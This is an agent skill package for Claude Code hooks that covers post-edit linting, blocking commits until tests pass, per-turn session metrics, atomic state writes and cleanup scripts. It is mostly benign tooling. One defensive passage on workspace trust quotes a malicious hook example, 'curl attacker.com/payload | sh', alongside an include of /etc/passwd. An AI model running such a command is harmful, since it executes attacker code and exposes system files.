Skill: lanyasheng/quality-verification (version 2.4.0)

--- name: quality-verification version: 2.0.0 description: 输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试（用 tool-governance）或 agent 提前停止（用 execution-loop）。参见 tool-governance（错误追踪）。 license: MIT triggers: - post edit check - lint after edit - test before commit - hook bracket - session metrics - quality gate - hook profile author: OpenClaw Team --- # Quality & Verification 输出质量保障：编辑后即时检查、提交前自动测试、per-turn 指标测量。 ## When to Use - 编辑后即时检查 → Post-edit diagnostics - 提交前跑测试 → Test-before-commit gate - 测量 per-turn 指标 → Hook pair bracket - 按环境切换 hook 强度 → Hook runtime profiles ## When NOT to Use - Agent 提前停止 → 用 `execution-loop` - 工具安全 → 用 `tool-governance` --- ## Patterns ### 6.1 Post-Edit Diagnostics `[script]` PostToolUse hook 在每次 Write/Edit 后立即跑 linter 或 type checker，通过 `additionalContext` 把错误注入当前 turn。这是 shift-left 策略——在错误扩散前秒级捕获，避免 agent 在类型错误的基础上继续编辑更多文件，导致级联放大。诊断工具按扩展名映射：`.ts` → tsc, `.py` → ruff/pyright, `.rs` → cargo check；扩展名不在映射表中的文件直接跳过，不空跑。→ [详见](references/post-edit-diagnostics.md) ### 6.2 Hook Runtime Profiles `[config]` 通过 `HARNESS_PROFILE` 环境变量控制 hook 行为强度，无需改 settings.json。三档：`minimal`（仅原子写入，快速实验用）、`standard`（日常开发）、`strict`（全部 pattern，生产变更和安全修复用）。还支持 `HARNESS_DISABLED_HOOKS` 按名字禁用单个 hook，粒度更细。→ [详见](references/hook-profiles.md) ### 6.3 Session Turn Metrics `[script]` UserPromptSubmit + Stop 两个 hook 构成测量"括号"，在每轮交互前后采集时间戳和 context token 数。轮次结束时计算耗时和 token 增量，写入 `bracket.json` 供外部监控读取。只测量和记录，不阻止任何操作——与 ralph 的 Stop hook 叠加时，bracket 在前记录数据，ralph 在后决定是否 block。→ [详见](references/hook-bracket.md) ### 6.4 Test-Before-Commit Gate `[script]` PreToolUse hook 拦截 `git commit` 命令，在 commit 执行前自动跑项目测试套件（按 package.json / Makefile / pyproject.toml / Cargo.toml 优先级检测测试命令）。测试失败时 deny commit 并把失败输出注入 context，agent 先修 bug 再提交。测试通过才放行，防止 broken commit 进入历史。→ [详见](references/test-before-commit.md) ### 6.5 Atomic State Writes `[design]` 所有状态文件（ralph.json、cancel.json、tool-errors.json 等）先写到 PID+时间戳命名的临时文件，再 `mv` 原子替换。POSIX 上 rename 是原子操作，读者要么看到旧版本要么看到新版本，不会读到半写的 JSON。多进程并发写入时每个进程写各自的临时文件，互不干扰。→ [详见](references/atomic-writes.md) ### 6.6 Session State Hygiene `[design]` 定期清理 4 类残留状态：超过 24h 仍 active 的 stale ralph.json、超过 30min 的 orphaned lock、只含 `.recovery-checked` 的空 session 目录、目录已删除但 git worktree list 中仍存在的 stale worktree 引用。支持 dry-run 预览，推荐每 4 小时或新 session 启动前运行。不清理的后果是 crash recovery 误识别 stale 状态为可恢复。→ [详见](references/session-hygiene.md) ## Scripts | 脚本 | Hook 类型 | 功能 | |------|----------|------| | `post-edit-check.sh` | PostToolUse (Write\|Edit\|MultiEdit) | 编辑后 linter | | `bracket-hook.sh` | Stop | 记录 per-turn 指标 | | `test-before-commit.sh` | PreToolUse (Bash) | commit 前跑测试 | ## Workflow 文件被编辑？→ PostToolUse hook 触发 `post-edit-check.sh`，按扩展名选择 linter（`.ts` → tsc, `.py` → ruff, `.sh` → shellcheck），将诊断错误通过 `additionalContext` 注入当前 turn，agent 当场修复。编辑后立即跑诊断——拖到 commit 时再查，类型错误已经在错误基础上级联了好几个文件。扩展名不在映射表中的文件（如 `.md`）直接跳过。 要 git commit？→ PreToolUse hook 触发 `test-before-commit.sh`，拦截 Bash 中的 `git commit` 命令，跑完整测试套件。测试失败则 deny commit 并展示失败用例，agent 修完再提交。测试通过才放行。 <example> 场景: Post-edit diagnostics 即时捕获类型错误 触发: Agent 编辑 handlers.ts（PostToolUse hook 匹配 .ts 扩展名） 执行: post-edit-check.sh 跑 `tsc --noEmit` 输出: TS2345 错误通过 additionalContext 注入当前 turn 结果: Agent 同 turn 修复类型错误，错误没有传播到后续文件 </example> <example> 场景: Test-before-commit 拦截 broken commit 触发: Agent 执行 `git commit -m "add user endpoint"`（PreToolUse hook 匹配 Bash 中的 git commit） 执行: test-before-commit.sh 检测到 package.json，跑 `npm test` 结果: 2 个测试失败，hook 输出 deny + 失败用例，Agent 先修 bug 再提交 </example> <anti-example> 错误: 对 README.md 编辑跑 post-edit diagnostics 原因: .md 不在扩展名映射表中，没有 linter 可跑 处理: post-edit-check.sh 按扩展名过滤，无映射的文件 exit 0（不空跑） </anti-example> ## Failure Modes | 场景 | 处理 | |------|------| | Linter 自身 crash 或超时 | post-edit-check.sh 设 `timeout 30s` 执行 linter。超时或非零退出 → exit 0（不阻塞 agent），记录到 stderr | | 找不到测试命令（4 种检测全部 miss） | test-before-commit.sh 无法检测到 package.json/Makefile/pyproject.toml/Cargo.toml → 跳过测试，allow commit，注入 warning "未检测到测试框架" | | 测试运行时间过长 | 设 `timeout 300s`（5 分钟），超时 → deny commit + 注入 "测试超时，请检查是否有死循环或外部依赖" | | bracket-hook.sh 无法读取 transcript | transcript 路径不可用或文件不存在 → 跳过指标记录，不影响 agent 执行 | | 多个 PostToolUse hook 冲突 | Claude Code 按 settings.json 中的顺序依次执行，additionalContext 会 concatenate。post-edit-check 应排在 tool-governance 的 error-tracker 之前 | ## Output | 产出物 | 来源 | 说明 | |--------|------|------| | 诊断结果 | `additionalContext` | linter/type checker 错误注入 agent 上下文，agent 当场可见 | | session 指标 | `bracket.json` | per-turn 时间、turn 计数、hook 执行耗时 | | 测试结果 | commit 前 | 测试套件输出，失败时 block commit 并展示失败用例 | ## Related - `tool-governance` — 错误追踪器记录诊断失败（tool-error-tracker 追踪连续 linter 失败） - `execution-loop` — doubt gate 检测未验证声明（agent 说"应该没问题"但没跑检查时拦截） - `context-memory` — 诊断结果写入 handoff document，跨 session 传递未修复的已知问题 ## Usage 在 `.claude/settings.json` 中配置 hook： ```jsonc { "hooks": { // Post-edit 诊断：编辑后立即跑 linter "PostToolUse": [ { "matcher": { "tool_name": "Write|Edit|MultiEdit" }, "hooks": [ { "type": "command", "command": "bash post-edit-check.sh \"$TOOL_INPUT_FILE_PATH\"" } ] } ], // Commit 前测试：拦截 git commit，测试不通过则 deny "PreToolUse": [ { "matcher": { "tool_name": "Bash", "input_contains": "git commit" }, "hooks": [ { "type": "command", "command": "bash test-before-commit.sh" } ] } ] } } ``` `post-edit-check.sh` 按扩展名选 linter：`.ts` → `tsc --noEmit`，`.py` → `ruff check + pyright`，`.rs` → `cargo check`，其他 → exit 0。 `test-before-commit.sh` 按项目类型检测：`package.json` → `npm test`，`Makefile` → `make test`，`pyproject.toml` → `pytest`，`Cargo.toml` → `cargo test`。 Hook 输出格式（post-edit-check.sh stdout）： ```json {"decision": "allow", "hookSpecificOutput": {"additionalContext": "[POST-EDIT] tsc error TS2345: Argument of type 'string' is not assignable to parameter of type 'number' at handlers.ts:42"}} ``` 按 profile 控制强度： ```bash HARNESS_PROFILE=strict claude -p "deploy to production" # 全部 hook HARNESS_PROFILE=minimal claude -p "fix typo in README" # 仅原子写入 HARNESS_DISABLED_HOOKS=post-edit-check claude -p "quick experiment" # 禁用指定 hook ```

path: metadata.json
content: name: quality-verification
version: 2.0.0
description: Output quality assurance and verification
license: MIT

path: references/atomic-writes.md
content: # Pattern 6.5: 原子文件写入

## 问题

Ralph stop hook 和外部监控可能同时读写同一个状态文件。直接写入可能导致读到半写的 JSON。

## 原理

先写到临时文件，再原子 rename。`rename` 在 POSIX 文件系统上是原子操作。来自 Claude Code 内部所有状态文件的写入模式。

## 实现

```bash
write_atomic() {
  local target="$1" content="$2"
  local tmp="${target}.${$}.$(date +%s).tmp"
  echo "$content" > "$tmp"
  mv "$tmp" "$target"
}
```

`${$}` 是当前进程 PID，`$(date +%s)` 是时间戳，两者组合确保临时文件名唯一。即使多个进程同时写入，每个进程写自己的临时文件，最终 `mv` 是原子的——读者要么看到旧版本，要么看到新版本，不会看到半写的内容。

## 在本 skill 中的使用

所有状态文件（ralph.json、cancel.json、tool-errors.json、denials.json）都通过这个函数写入。`scripts/ralph-stop-hook.sh` 和 `scripts/ralph-init.sh` 中均使用此模式。


path: references/extended-patterns.md
content: # Quality Verification — Extended Patterns

### E6.1: YOLO Classifier (Auto Mode 3-Tier Fast-Path)
**What it does**: 在 Auto Mode（自动批准工具调用）下，用三级分类器决定每个工具调用是否需要人类确认：Tier 1（safe）= Read/Glob/Grep 等只读操作 → 自动批准；Tier 2（moderate）= Write/Edit 项目内文件 → 自动批准但记录日志；Tier 3（dangerous）= Bash 破坏性命令、系统路径操作 → 弹出确认。分类基于工具名 + 输入参数的组合评估。
**Why it matters**: "全自动"和"全确认"都不是最优——全自动有安全风险，全确认中断工作流。三级分类在安全和效率之间找到平衡点：大多数操作零摩擦（Tier 1-2 占 90%+），只有真正危险的操作才打断。
**Source evidence**: OMC 的 YOLO classifier。Claude Code 的 `--dangerously-skip-permissions` 和 `allowedTools` 机制。

### E6.2: Speculative Execution
**What it does**: 在模型 response 流式生成时，classifier 对部分生成的 tool_use block 做预分类（speculative classification）。如果预分类为 safe，在 tool_use block 完整生成前就开始准备执行环境（如 pre-resolve 文件路径、check 权限）。如果最终分类改变，丢弃 speculative 工作。
**Why it matters**: Classifier 的延迟在 fast-path 上是瓶颈——模型生成完工具调用后，还要等 classifier 判断才能执行。Speculative execution 让 classifier 和模型生成重叠，在大多数情况下（safe 工具占多数）直接命中 fast-path，零额外延迟。
**Source evidence**: CPU 分支预测的架构思想应用到 agent 工具执行。Claude Code 的流式 tool execution pipeline。

### E6.3: Dangerous Permission Stripping
**What it does**: 进入 Auto Mode 时，将当前 session 的 dangerous permission 暂存（stash）——从 `allowedTools` 中移除 Bash 无限制权限等。退出 Auto Mode 时恢复（unstash）。确保 Auto Mode 期间即使 agent 请求危险操作也会被 Tier 3 拦截。
**Why it matters**: Auto Mode 的用户期望是"帮我快速完成安全操作"。如果 Auto Mode 保留了之前手动批准的 dangerous permission（如允许 `sudo`），agent 可能在 Auto Mode 下执行用户未预期的危险操作。Stash/unstash 机制让 Auto Mode 的权限范围始终是最小化的。
**Source evidence**: Claude Code Auto Mode 的权限管理逻辑。最小权限原则在 mode switching 上的应用。

### E6.4: Session Persistence
**What it does**: Session 状态以 append-only JSONL 格式持久化到磁盘。每条记录包含 parent-UUID 引用链，允许重建完整的 session 谱系（哪个 session fork 自哪个）。Resume 时从 JSONL 重建状态而非从 API conversation history 重建。
**Why it matters**: Agent session 可能因 crash、disconnect、manual kill 中断。Append-only JSONL 确保即使在写入中途 crash，已写入的记录不受影响（不像 JSON 整体覆写——中途 crash 会损坏整个文件）。Parent-UUID 链让 fork 的 child session 可以回溯到原始 session 的完整历史。
**Source evidence**: Claude Code 的 session 管理和 `--resume` 功能。OMC 的 session state 持久化设计。

### E6.5: Workspace Trust Security
**What it does**: 根据工作区的信任等级调整安全策略——trusted（用户显式信任的项目）允许 CLAUDE.md 中的 Bash hook、`@` include 可执行文件；untrusted（首次打开、从网络克隆的项目）禁止 hook 中的 Bash 命令、限制 `@` include 范围、工具权限收紧。信任状态存储在用户配置中，首次打开时弹出信任确认。
**Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted，clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前，恶意配置不会生效。
**Source evidence**: VS Code 的 Workspace Trust 机制。Claude Code 的 CLAUDE.md 安全策略。供应链攻击防护。


path: references/hook-bracket.md
content: # Pattern 6.3: Hook Pair Bracket（每轮测量框架）

## 问题

无法知道每一轮 agent 交互消耗了多少 context、用了多长时间、调用了哪些工具。

## 原理

用 UserPromptSubmit + Stop 两个 hook 构成一个测量"括号"，在每轮前后采集数据。来自 claude-howto 的 context-tracker 示例——用 session-id 为 key 的临时文件在两个 hook 之间共享状态。

## 实现

**UserPromptSubmit hook（"before"）**：
```bash
# 记录轮次开始状态
# 注意：Claude Code 不提供 CONTEXT_USAGE 环境变量
# 需要通过 transcript 尾部读取获取（见 agent-ops/context-usage.sh）
INPUT=$(cat)
SESSION_ID=$(echo "$INPUT" | jq -r '.session_id // ""')
TRANSCRIPT=$(echo "$INPUT" | jq -r '.transcript_path // ""')
# context-usage.sh 输出 "Input tokens: NNNNN"（无百分比——context_window_size 不可用）
CTX=$(bash context-usage.sh "$TRANSCRIPT" 2>/dev/null | grep -o '[0-9]*$' || echo "0")
jq -n --arg ts "$(date +%s)" --arg ctx "$CTX" --arg sid "$SESSION_ID" \
  '{start_ts: $ts, start_ctx: $ctx, session_id: $sid}' > "$TMPDIR/bracket-${SESSION_ID}.json"
```

**Stop hook（"after"）**：
```bash
# 读取开始状态，计算本轮增量
INPUT=$(cat)
SESSION_ID=$(echo "$INPUT" | jq -r '.session_id // ""')
TRANSCRIPT=$(echo "$INPUT" | jq -r '.transcript_path // ""')
BRACKET_FILE="$TMPDIR/bracket-${SESSION_ID}.json"
[ -f "$BRACKET_FILE" ] || exit 0
START=$(cat "$BRACKET_FILE")
ELAPSED=$(( $(date +%s) - $(echo "$START" | jq -r '.start_ts') ))
# context-usage.sh 输出 "Input tokens: NNNNN"
CUR_CTX=$(bash context-usage.sh "$TRANSCRIPT" 2>/dev/null | grep -o '[0-9]*$' || echo "0")
START_CTX=$(echo "$START" | jq -r '.start_ctx')
CTX_DELTA=$(( CUR_CTX - START_CTX ))
echo "Turn: ${ELAPSED}s, context delta: ${CTX_DELTA} tokens"
```

## 用途

- **Context 预算**：当单轮 context 增量 > 阈值时告警（"这一轮用了 30K token，可能有大文件被读入"）
- **工具统计**：哪些工具被频繁使用/失败
- **进度追踪**：第 N 轮，已用 X% context
- **与 Ralph 叠加**：先 bracket 记录数据，再 ralph 决定是否 block

## 与 Ralph 的关系

Ralph 的 Stop hook 决定"是否阻止停止"。Hook pair bracket 不阻止，只测量和记录。两者可叠加——在 settings.json 的 Stop hooks 数组中，bracket 在前（记录数据），ralph 在后（决定是否 block）。

## 状态文件

临时文件 `$TMPDIR/bracket-${SESSION_ID}.json`（不在 sessions/ 下，因为这是轮次级别的瞬态数据）。

聚合统计可以写入 `sessions/<session-id>/bracket.json`（累计数据，供外部监控读取）。


path: references/hook-profiles.md
content: # Pattern 6.2: Hook Runtime Profiles（环境级 hook 强度控制）

## 问题

所有 hook 以相同强度在所有场景下运行。快速实验需要最小 overhead，生产部署需要最大保障，但 hook 配置只有一套。

来源：`affaan-m/everything-claude-code` — ECC_HOOK_PROFILE 环境变量

## 原理

通过环境变量控制 hook 行为强度，无需修改 settings.json。同一套 hook 配置在不同环境下表现不同。

### 三个 Profile

| Profile | 启用的 Pattern | 适用场景 |
|---------|---------------|---------|
| `minimal` | 仅 Pattern 6.5（原子写入）| 快速实验、探索性编码 |
| `standard` | Pattern 1.1/2.1/3.5/6.5 | 日常开发 |
| `strict` | 全部 Pattern | 生产变更、安全修复、正式 review |

### 细粒度控制

```bash
# Profile 级别
export HARNESS_PROFILE=strict

# 单个 hook 级别
export HARNESS_DISABLED_HOOKS=doubt-gate,post-edit-diagnostics
```

## 实现

每个 hook 脚本的入口处检查 profile：

```bash
#!/usr/bin/env bash
PROFILE="${HARNESS_PROFILE:-standard}"

# 此 hook 需要 strict 或更高
case "$PROFILE" in
  strict) ;; # 继续执行
  *) echo '{"continue":true}'; exit 0 ;; # 跳过
esac

# 检查是否被单独禁用
DISABLED="${HARNESS_DISABLED_HOOKS:-}"
if echo ",$DISABLED," | grep -q ",$(basename "$0" .sh),"; then
  echo '{"continue":true}'; exit 0
fi

# ... hook 的实际逻辑 ...
```

## 与 Pattern 1.3（Adaptive Complexity）的关系

Pattern 1.3 根据任务复杂度自动选择 pattern 组合。Pattern 6.2 根据环境/意图手动选择 hook 强度。两者可以组合：`HARNESS_PROFILE=strict` + adaptive complexity = "strict 模式下，仍然根据任务复杂度微调具体启用哪些 pattern"。

## Tradeoff

- 增加了一层间接性——debug 时需要知道当前 profile 是什么
- 需要每个 hook 脚本都加入 profile 检查代码
- Profile 语义需要团队达成共识——"standard"对不同人可能意味着不同的东西


path: references/post-edit-diagnostics.md
content: # Pattern 6.1: Post-Edit Diagnostics（编辑后即时诊断）

## 问题

Agent 修改文件后，错误在后续工具调用中才暴露。此时 agent 可能已经在错误基础上修改了更多文件，导致错误级联放大。

来源：`parcadei/Continuous-Claude-v3` — PostToolUse hook 实现

## 原理

PostToolUse hook 在每次文件编辑（Write/Edit）后立即运行诊断工具（linter、type checker），在秒级提供反馈。这是"shift-left"策略——在错误扩散前捕获。

## 实现

```json
{
  "hooks": {
    "PostToolUse": [{
      "matcher": "Write|Edit",
      "hooks": [{
        "type": "command",
        "command": "bash scripts/post-edit-check.sh"
      }]
    }]
  }
}
```

```bash
# post-edit-check.sh
INPUT=$(cat)
FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
[ -z "$FILE" ] && exit 0

case "$FILE" in
  *.py)  pyright "$FILE" 2>&1 | head -5; ruff check "$FILE" 2>&1 | head -5 ;;
  *.ts)  npx tsc --noEmit "$FILE" 2>&1 | head -5 ;;
  *.rs)  cargo check 2>&1 | head -5 ;;
esac
```

## 与 Pattern 2.1（工具错误升级）的关系

Pattern 2.1 处理工具本身执行失败（`cargo build` 找不到命令）。Post-Edit Diagnostics 处理工具执行成功但产出有问题（文件写入成功但引入了类型错误）。

Pattern 2.1 是反应式（错误发生后升级），Pattern 6.1 是预防式（错误扩散前捕获）。

## Tradeoff

- 每次编辑都跑诊断会拖慢执行速度（特别是大项目的 type check）
- 可以只在指定文件类型上启用，或用 `async: true` 异步运行不阻塞
- 诊断工具需要提前安装，否则 hook 本身会失败


path: references/session-hygiene.md
content: # Session Hygiene

## Problem

长期运行的 execution harness 积累大量残留状态：过期的 ralph.json（crash 后遗留）、orphaned lock 文件（agent 退出时未清理）、stale session 目录（已完成但未删除的 session 数据）、废弃的 worktree（multi-agent 后未清理）。这些残留状态浪费磁盘空间，更严重的是可能干扰新 session——比如 crash recovery 误识别 stale ralph 为可恢复状态。

## Solution

定期运行清理脚本，识别并清理 4 类残留状态。清理策略基于时间阈值和状态一致性检查：超过 TTL 的状态文件标记为过期，不一致的 lock 标记为 orphaned。清理前记录日志，支持 dry-run 预览。

## Implementation

1. 清理脚本 `session-cleanup.sh`

```bash
#!/bin/bash
DRY_RUN=${1:-false}
CLEANED=0

log() { echo "[$(date -u +%Y-%m-%dT%H:%M:%SZ)] $1"; }
cleanup() {
  if [ "$DRY_RUN" = "true" ]; then
    log "DRY-RUN: would remove $1"
  else
    rm -rf "$1" && log "Removed: $1"
    CLEANED=$((CLEANED + 1))
  fi
}

# 1. Stale ralph 状态（>24h 且 active=true）
for F in sessions/*/ralph.json; do
  [ -f "$F" ] || continue
  ACTIVE=$(jq -r '.active // false' "$F")
  [ "$ACTIVE" = "true" ] || continue
  AGE_MIN=$(( ($(date +%s) - $(stat -f %m "$F" 2>/dev/null || stat -c %Y "$F" 2>/dev/null || echo 0)) / 60 ))
  if [ "$AGE_MIN" -gt 1440 ]; then
    log "Stale ralph: $F (${AGE_MIN}min old)"
    jq '.active = false | .deactivation_reason = "hygiene_cleanup"' "$F" > "${F}.tmp" && mv "${F}.tmp" "$F"
    CLEANED=$((CLEANED + 1))
  fi
done

# 2. Orphaned lock 文件（>30min）
find .claims -name "*.lock" -mmin +30 2>/dev/null | while read F; do
  log "Orphaned lock: $F"
  cleanup "$F"
done

# 3. 空 session 目录（只有 .recovery-checked，无其他文件）
for D in sessions/*/; do
  [ -d "$D" ] || continue
  FILE_COUNT=$(find "$D" -type f ! -name ".recovery-checked" | wc -l)
  if [ "$FILE_COUNT" -eq 0 ]; then
    log "Empty session dir: $D"
    cleanup "$D"
  fi
done

# 4. Stale worktree（git worktree list 中存在但目录已删除的）
git worktree list --porcelain 2>/dev/null | grep '^worktree ' | awk '{print $2}' | while read WT; do
  if [ ! -d "$WT" ]; then
    log "Stale worktree ref: $WT"
    [ "$DRY_RUN" = "true" ] || git worktree prune 2>/dev/null
  fi
done

log "Cleanup complete: ${CLEANED} items processed"
```

2. 推荐运行频率：每 4 小时或每次新 session 启动前

3. 可选：UserPromptSubmit hook 在 session 首次触发时运行轻量级清理

```bash
# 只清理与当前 session 相关的残留，不做全局清理
```

## Tradeoffs

- **Pro**: 防止残留状态积累导致的误识别和磁盘浪费
- **Pro**: Dry-run 模式允许在清理前预览将被删除的内容
- **Con**: 时间阈值是经验值——太短可能误清有用状态，太长清理不及时
- **Con**: 跨平台兼容性（macOS `stat -f %m` vs Linux `stat -c %Y`）需要处理

## Source

OMC 的 stale state threshold 机制（`STALE_STATE_THRESHOLD_MS`）。Unix 系统的 cron + logrotate 清理模式。Agent 特有的 orphaned lock 问题。


path: references/test-before-commit.md
content: # Test Before Commit

## Problem

Agent 修改代码后直接 commit，没有运行测试。CI 在远端才发现 regression，但 agent 已经认为任务完成了。特别是在 Ralph 持续执行模式下，agent 可能连续提交多个 broken commit，每个都通过了 Stop hook 的迭代检查但没有经过质量验证。

## Solution

PreToolUse hook 拦截 `git commit` 命令，在 commit 执行前自动运行项目的测试命令。测试失败时拒绝 commit 并将失败信息注入 context，让 agent 先修 bug 再提交。

## Implementation

1. PreToolUse hook 检测 Bash 工具中的 git commit 命令

```bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
[ "$TOOL" = "Bash" ] || exit 0

CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# 检测 git commit（排除 git commit --amend 等只修改消息的情况）
echo "$CMD" | grep -qE 'git\s+commit' || exit 0

# 确定测试命令（按优先级检测项目配置）
if [ -f "package.json" ] && grep -q '"test"' package.json; then
  TEST_CMD="npm test"
elif [ -f "Makefile" ] && grep -q '^test:' Makefile; then
  TEST_CMD="make test"
elif [ -f "pytest.ini" ] || [ -f "setup.cfg" ] || [ -f "pyproject.toml" ]; then
  TEST_CMD="python -m pytest --tb=short -q"
elif [ -f "Cargo.toml" ]; then
  TEST_CMD="cargo test"
else
  # 无法确定测试命令，放行
  exit 0
fi

# 运行测试（超时 120 秒）
TEST_OUTPUT=$(timeout 120 bash -c "$TEST_CMD" 2>&1)
TEST_EXIT=$?

if [ "$TEST_EXIT" -ne 0 ]; then
  # 截取最后 50 行避免输出过长
  TAIL=$(echo "$TEST_OUTPUT" | tail -50)
  echo "{\"decision\":\"deny\",\"reason\":\"测试失败，commit 被阻止。请先修复以下问题再提交：\n${TAIL}\"}"
else
  # 测试通过，放行 commit
  exit 0
fi
```

2. 可选：缓存测试结果，如果自上次测试通过后没有文件变更则跳过

```bash
LAST_PASS="sessions/${SESSION_ID}/last-test-pass.txt"
LAST_CHANGE=$(git diff --stat HEAD 2>/dev/null | md5sum | cut -d' ' -f1)
if [ -f "$LAST_PASS" ] && [ "$(cat "$LAST_PASS")" = "$LAST_CHANGE" ]; then
  exit 0  # 变更未改变，复用上次测试结果
fi
```

## Tradeoffs

- **Pro**: 在 commit 前捕获 regression，避免 broken commit 进入历史
- **Pro**: 失败信息直接注入 agent context，agent 可以立即修复
- **Con**: 测试耗时可能很长——大型项目的完整测试套件可能需要几分钟
- **Con**: 不是所有项目都有明确的测试命令，需要启发式检测

## Source

Git pre-commit hook 的 agent 适配。Claude Code PreToolUse hook 拦截特定 Bash 命令的能力。CI/CD shift-left 测试理念。


path: scripts/bracket-hook.sh
content: #!/usr/bin/env bash
# bracket-hook.sh — Stop hook: measure per-turn time and session metrics
# Records timing data for each turn. Warns on >2h sessions.

set -euo pipefail

SESSIONS_DIR="${HOME}/.openclaw/shared-context/sessions"

INPUT=$(head -c 20000)
SESSION_ID=$(echo "$INPUT" | jq -r '.session_id // ""' 2>/dev/null)
[ -z "$SESSION_ID" ] && SESSION_ID="${NC_SESSION:-}"
[ -z "$SESSION_ID" ] && echo '{"continue":true}' && exit 0

SESSION_DIR="${SESSIONS_DIR}/${SESSION_ID}"
STATE_FILE="${SESSION_DIR}/bracket.json"
mkdir -p "$SESSION_DIR"

NOW=$(date +%s)

# Read or init state
if [ -f "$STATE_FILE" ]; then
  TOTAL_TURNS=$(jq -r '.total_turns // 0' "$STATE_FILE" 2>/dev/null)
  SESSION_START=$(jq -r '.session_start // 0' "$STATE_FILE" 2>/dev/null)
  [ "$SESSION_START" -eq 0 ] && SESSION_START="$NOW"
else
  TOTAL_TURNS=0
  SESSION_START="$NOW"
fi

TOTAL_TURNS=$((TOTAL_TURNS + 1))
TOTAL_DURATION=$((NOW - SESSION_START))

# Write state atomically
TMP="${STATE_FILE}.${$}.tmp"
jq -n \
  --argjson turns "$TOTAL_TURNS" \
  --argjson start "$SESSION_START" \
  --argjson duration "$TOTAL_DURATION" \
  --arg last "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" \
  '{total_turns:$turns, session_start:$start, total_duration_s:$duration, last_turn:$last}' > "$TMP"
mv "$TMP" "$STATE_FILE"

# Warn on >2h sessions
if [ "$TOTAL_DURATION" -gt 7200 ]; then
  HOURS=$((TOTAL_DURATION / 3600))
  jq -n --arg ctx "WARNING: Session has been running for ${HOURS}+ hours (${TOTAL_TURNS} turns). Consider wrapping up or compacting." \
    '{"hookSpecificOutput":{"additionalContext":$ctx}}'
else
  echo '{"continue":true}'
fi


path: scripts/post-edit-check.sh
content: #!/usr/bin/env bash
# post-edit-check.sh — PostToolUse hook for Write/Edit: run diagnostics immediately
# Returns additionalContext with lint/type errors if found.

set -euo pipefail

INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name // ""')

# Only trigger on file-editing tools
case "$TOOL" in
  Write|Edit|MultiEdit) ;;
  *) exit 0 ;;
esac

FILE=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.filePath // ""')
[ -z "$FILE" ] && exit 0
[ -f "$FILE" ] || exit 0

ERRORS=""

case "$FILE" in
  *.py)
    if command -v ruff &>/dev/null; then
      LINT=$(ruff check "$FILE" --no-fix 2>&1 | head -5) || true
      [ -n "$LINT" ] && ERRORS="${ERRORS}ruff: ${LINT}\n"
    fi
    if command -v pyright &>/dev/null; then
      TYPE=$(pyright "$FILE" 2>&1 | grep -E 'error|Error' | head -3) || true
      [ -n "$TYPE" ] && ERRORS="${ERRORS}pyright: ${TYPE}\n"
    fi
    ;;
  *.ts|*.tsx)
    if command -v npx &>/dev/null && { [ -f "$(dirname "$FILE")/tsconfig.json" ] || [ -f "tsconfig.json" ]; }; then
      TYPE=$(npx tsc --noEmit "$FILE" 2>&1 | grep -E 'error TS' | head -3) || true
      [ -n "$TYPE" ] && ERRORS="${ERRORS}tsc: ${TYPE}\n"
    fi
    ;;
  *.rs)
    if command -v cargo &>/dev/null; then
      CHECK=$(cargo check 2>&1 | grep -E '^error' | head -3) || true
      [ -n "$CHECK" ] && ERRORS="${ERRORS}cargo: ${CHECK}\n"
    fi
    ;;
  *.go)
    if command -v go &>/dev/null; then
      VET=$(go vet "$FILE" 2>&1 | head -3) || true
      [ -n "$VET" ] && ERRORS="${ERRORS}go vet: ${VET}\n"
    fi
    ;;
  *.sh)
    if command -v shellcheck &>/dev/null; then
      SC=$(shellcheck "$FILE" 2>&1 | head -5) || true
      [ -n "$SC" ] && ERRORS="${ERRORS}shellcheck: ${SC}\n"
    fi
    ;;
esac

if [ -n "$ERRORS" ]; then
  MSG=$(echo -e "$ERRORS" | head -10 | tr '\n' ' ')
  jq -n --arg ctx "Post-edit diagnostics found issues: $MSG" \
    '{"hookSpecificOutput":{"hookEventName":"PostToolUse","additionalContext":$ctx}}'
fi


path: scripts/test-before-commit.sh
content: #!/usr/bin/env bash
# test-before-commit.sh — PreToolUse hook: run tests before git commit
# Intercepts git commit commands and runs test suite first.
# Configurable via TEST_BEFORE_COMMIT env var (default: disabled).

set -euo pipefail

INPUT=$(head -c 20000)
TOOL=$(echo "$INPUT" | jq -r '.tool_name // ""' 2>/dev/null)

# Only intercept Bash
[ "$TOOL" != "Bash" ] && echo '{"continue":true}' && exit 0

# Check if enabled
[ "${TEST_BEFORE_COMMIT:-0}" != "1" ] && echo '{"continue":true}' && exit 0

COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // ""' 2>/dev/null)
[ -z "$COMMAND" ] && echo '{"continue":true}' && exit 0

# Check for git commit (not --amend)
if ! echo "$COMMAND" | grep -qE 'git\s+commit\b' || echo "$COMMAND" | grep -qE '\-\-amend'; then
  echo '{"continue":true}'
  exit 0
fi

# Find test runner
TEST_CMD=""
if [ -f "package.json" ] && jq -e '.scripts.test' package.json &>/dev/null; then
  TEST_CMD="npm test"
elif [ -f "pytest.ini" ] || [ -f "pyproject.toml" ] || [ -d "tests" ]; then
  TEST_CMD="python3 -m pytest -q"
elif [ -f "Cargo.toml" ]; then
  TEST_CMD="cargo test"
elif [ -f "go.mod" ]; then
  TEST_CMD="go test ./..."
elif [ -f "Makefile" ] && grep -q '^test:' Makefile; then
  TEST_CMD="make test"
fi

# No test runner found — allow
if [ -z "$TEST_CMD" ]; then
  echo '{"continue":true}'
  exit 0
fi

# Run tests with optional timeout
TIMEOUT_CMD=""
if command -v timeout &>/dev/null; then
  TIMEOUT_CMD="timeout 120"
elif command -v gtimeout &>/dev/null; then
  TIMEOUT_CMD="gtimeout 120"
fi

TEST_EXIT=0
TEST_OUTPUT=$(${TIMEOUT_CMD} ${TEST_CMD} 2>&1 | tail -20) || TEST_EXIT=$?

if [ "$TEST_EXIT" -ne 0 ]; then
